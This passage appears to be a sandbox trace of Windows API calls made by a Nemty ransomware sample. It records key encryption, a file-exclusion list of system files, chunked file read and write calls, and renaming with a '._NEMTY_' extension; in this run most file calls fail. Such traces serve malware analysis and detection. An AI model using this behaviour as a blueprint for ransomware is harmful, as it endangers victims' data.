0x6345e80 [0066.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0066.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0066.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0066.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0066.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0066.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0066.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0066.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0066.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0066.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0066.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0066.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0066.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0066.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0066.380] Sleep (dwMilliseconds=0x5) [0066.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdb3820b0, dwHighDateTime=0x1d561e7)) [0066.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdb3820b0, dwHighDateTime=0x1d561e7)) [0066.391] GetLastError () returned 0x5 [0066.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.391] GetLastError () returned 0x5 [0066.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0066.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0066.392] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0066.392] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0066.392] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0066.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0066.392] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="SQcIG5gqbhyac6hSND2w5q2LUBS8PD8z/WoG3TsEYPlQEr534KCwuf8jFuIDJDQC\r\nf0yHMdXFYiSBmXWHE+KD8WO/Vp/rNZE3Nfw4WsyjvcBj7g5N3lRgXdS2Tm82bQ0n\r\ne9zOeD+v4zpSd5nXzHlBlgiLs/vR+AFjnkuj8xZmXXjiHl3pPso9jnEPhVbqm6+V\r\nirkWewlEl+w/jVCdGrozL2wTlvM1fo9BV7pEJNLLWNZz6fzAsA2pGPgRJaLVq+o2\r\npaOhgDGHPK26IL3MOuLydGcvVuP+I7FhJ9zy8W8xQBKSAPd45T9IkDyEzQky1s94\r\n4lYES752nVBf33k7GcHlkg==\r\n", pcchString=0x653e91c) returned 1 [0066.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0066.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0066.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0066.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0066.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0066.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0066.392] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.393] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0066.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0066.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.393] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.402] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.402] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.412] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.412] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.412] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.412] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.421] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.421] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.421] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.421] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.431] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.431] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.441] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.441] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.450] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.450] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.460] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.460] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.470] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.470] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.479] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.479] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.489] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.489] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.495] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.495] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.495] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.495] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.502] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.502] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0066.503] CloseHandle (hObject=0xffffffff) returned 0 [0066.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0066.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0066.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0066.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0066.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0066.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0066.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0066.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0066.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0066.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0066.503] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0066.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0066.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0066.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0066.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0066.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0066.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0066.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0066.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0066.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0066.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0066.503] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.503] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0066.503] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0066.503] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="...") returned 1 [0066.503] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="windows") returned -1 [0066.503] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0066.503] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="rsa") returned -1 [0066.504] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0066.504] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0066.504] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0066.504] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0066.504] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0066.504] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0066.504] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0066.504] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0066.504] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0066.504] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0066.504] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0066.504] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0066.504] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0066.504] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="programdata") returned -1 [0066.504] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="appdata") returned 1 [0066.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0066.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0066.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0066.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0066.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0066.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943d0 [0066.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0066.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0066.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0066.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0066.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943d0 | out: hHeap=0x4f90000) returned 1 [0066.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0066.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0066.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0066.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0066.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0066.504] HeapFree (in: hHeap=0x4f90000, 